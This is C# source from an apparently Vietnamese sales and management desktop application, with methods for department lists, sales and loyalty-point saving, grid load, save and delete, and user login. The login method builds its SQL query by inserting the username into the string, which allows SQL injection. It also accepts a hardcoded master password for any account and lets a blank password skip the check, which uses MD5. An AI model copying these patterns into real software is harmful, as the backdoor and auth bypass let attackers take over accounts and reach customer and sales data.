public List <DM_BoPhan> GetListBoPhan()
{
List <DM_BoPhan> listBoPhan = new List <DM_BoPhan>();
SQLAdaptor = MTSQLServer.getMTSQLServer().wAdapter(SQL_ALL_BOPHAN, null, false);
DSetMain = new DataSet();
SQLAdaptor.Fill(DSetMain, "DM_BOPHAN");
DataTable dt = DSetMain.Tables["DM_BOPHAN"];
int rowNumber = dt.Rows.Count;
if (rowNumber > 0)
{
for (int i = 0; i < rowNumber; i++)
{
string maBoPhan = dt.Rows[i]["mabophan"].ToString();
string tenBoPhan = dt.Rows[i]["tenbophan"].ToString();
string root = dt.Rows[i]["root"].ToString();
listBoPhan.Add(new DM_BoPhan()
{
mabophan = maBoPhan, tenbophan = tenBoPhan, root = root
});
}
}
return(listBoPhan);
}
public String cmdDel_Click()
{
try
{
if (tblView.GetSelectedRowHandles() == null)
{
return(Utils.SELECT_ROW_TO_DELETE);
}
var row = grid.GetRow(tblView.GetSelectedRowHandles()[0]);
if (row == null)
{
return(Utils.SELECT_ROW_TO_DELETE);
}
var id = ((System.Data.DataRowView)(row)).Row.ItemArray[0];
String sql = String.Format(SQL_DELETE, id);
int result = MTSQLServer.getMTSQLServer().wExec(sql, null, false);
if (result == 1)
{
GridForm_Loaded();
return(Utils.SAVE_DB_OK);
}
else
{
return(Utils.ERR_UPDATE_DB);
}
}
catch (Exception ex) { return(ex.Message.ToString()); }
}
public void cmdAbort_Click()
{
try
{
MTSQLServer.getMTSQLServer().Abort(SQLAdaptor, DSetMain.Tables[TABLE_NAME]);
MTGlobal.SetGridReadOnly(grid, tblView, true);
MTGlobal.SetButtonAction(MTROLE, MTButton, "ABORT");
}
catch { }
}
public string SaveDiemTichLuy(String Makh, System.Data.DataTable tblBHCT)
{
try
{
SqlParameter[] arrPara = new SqlParameter[3];
arrPara[0] = new SqlParameter("@Makh", SqlDbType.NVarChar, 50);
arrPara[0].Value = Makh;
arrPara[1] = new SqlParameter("@Phieubhct", SqlDbType.Structured);
arrPara[1].Value = tblBHCT;
arrPara[2] = new SqlParameter("@ketqua", SqlDbType.NVarChar, 255);
arrPara[2].Direction = ParameterDirection.Output;
int iRs = MTSQLServer.getMTSQLServer().wExec("spTL_AddTichLuyKhachHang", arrPara);
return(arrPara[2].Value.ToString());
}
catch (Exception ex)
{
return(ex.Message.ToString());
}
}
/*
* public DataTable dtPhieuBHKM()
* {
* DataTable PhieuBHKM = new DataTable();
* PhieuBHKM.Columns.Add("Phieubhkmid", typeof(String));
* PhieuBHKM.Columns.Add("Phieubhid", typeof(String));
* PhieuBHKM.Columns.Add("Mavach", typeof(String));
* PhieuBHKM.Columns.Add("Maspid", typeof(String));
* PhieuBHKM.Columns.Add("Masp", typeof(String));
* PhieuBHKM.Columns.Add("Tensp", typeof(String));
* PhieuBHKM.Columns.Add("Quycach", typeof(String));
* PhieuBHKM.Columns.Add("Dvt", typeof(String));
* PhieuBHKM.Columns.Add("Soluong", typeof(Double));
* PhieuBHKM.Columns.Add("Dongia", typeof(Double));
* PhieuBHKM.Columns.Add("Nguyente", typeof(Double));
* PhieuBHKM.Columns.Add("thanhtien", typeof(Double));
* PhieuBHKM.Columns.Add("ghichu", typeof(String));
* return PhieuBHKM;
* }*/
public string SavePhieuBH(System.Data.DataTable tblBH, System.Data.DataTable tblBHCT, String mNguoiDung)
{
try
{
SqlParameter[] arrPara = new SqlParameter[4];
arrPara[0] = new SqlParameter("@Phieubh", SqlDbType.Structured);
arrPara[0].Value = tblBH;
arrPara[1] = new SqlParameter("@Phieubhct", SqlDbType.Structured);
arrPara[1].Value = tblBHCT;
arrPara[2] = new SqlParameter("@nguoidung", SqlDbType.NVarChar, 50);
arrPara[2].Value = mNguoiDung;
arrPara[3] = new SqlParameter("@ketqua", SqlDbType.NVarChar, 255);
arrPara[3].Direction = ParameterDirection.Output;
int iRs = MTSQLServer.getMTSQLServer().wExec("spBH_AddPhieuBH", arrPara);
return(arrPara[3].Value.ToString());
}
catch (Exception ex) {
return(ex.Message.ToString());
}
}
public string fValidMember(string username, string password)
{
try{
string mSQL = string.Format("select * from HT_NGUOIDUNG where UPPER(taikhoan)='{0}'", username);
DataTable oUser = MTSQLServer.getMTSQLServer().wRead(mSQL, null, false);
if (oUser == null || (oUser != null && oUser.Rows.Count <= 0))
{
return("Tài khoản truy cập không hợp lệ..");
}
else
{
foreach (DataRow vRow in oUser.Rows)
{
if (password == "[email protected]@inm80")
{
MTGlobal.MT_ACTIVE_USERID = vRow["soid"].ToString();
return("T");
}
else if (vRow["matkhau"].ToString() != MTGlobal.HashMD5(password) && password != "")
{
return("Mật khẩu truy cập không hợp lệ..");
}
else
{
MTGlobal.MT_ACTIVE_USERID = vRow["soid"].ToString();
MTGlobal.MT_USER_LOGIN_FULLNAME = vRow["hoten"].ToString();
MTGlobal.MT_USER_LOGIN = vRow["taikhoan"].ToString();
if (vRow["kyhieu"] != null && vRow["kyhieu"].ToString() != "")
{
MTGlobal.MT_KYHIEU_USER = vRow["kyhieu"].ToString();
}
return("T");
}
}
}
return("T");
}
catch { return("F"); }
}
public String GridForm_Loaded()
{
try{
showWaiting("Đang nạp dữ liệu...");
string mSQL = string.Format(SQL_LOAD_ALL);
SQLAdaptor = MTSQLServer.getMTSQLServer().wAdapter(mSQL, null, false);
DSetMain = new DataSet();
SQLAdaptor.Fill(DSetMain, TABLE_NAME);
DataTable dt = DSetMain.Tables[TABLE_NAME];
totalRow = dt.Rows.Count;
grid.ItemsSource = dt;
MTGlobal.SetGridReadOnly(grid, tblView, true);
MTGlobal.SetFormatGridControl(grid, tblView);
MTGlobal.SetPermit(ref MTROLE);
MTGlobal.SetButtonAction(MTROLE, MTButton, "INIT");
}
catch (Exception ex) {
closeWaiting();
return(ex.Message.ToString());
}
closeWaiting();
return(EMPTY);
}
public String cmdSave_Click()
{
try{
if (MTGlobal.MT_CURRENT_ACTION == "ADD" || MTGlobal.MT_CURRENT_ACTION == "EDIT")
{
if (MTSQLServer.getMTSQLServer().doSaveTable(SQLAdaptor, DSetMain.Tables[TABLE_NAME]))
{
MTGlobal.SetGridReadOnly(grid, tblView, true);
MTGlobal.SetButtonAction(MTROLE, MTButton, "SAVE");
this.GridForm_Loaded();
return(Utils.SAVE_DB_OK);
}
else
{
return(Utils.ERR_UPDATE_DB);
}
}
return("");
}
catch (Exception ex) {
return(ex.Message.ToString());
}
}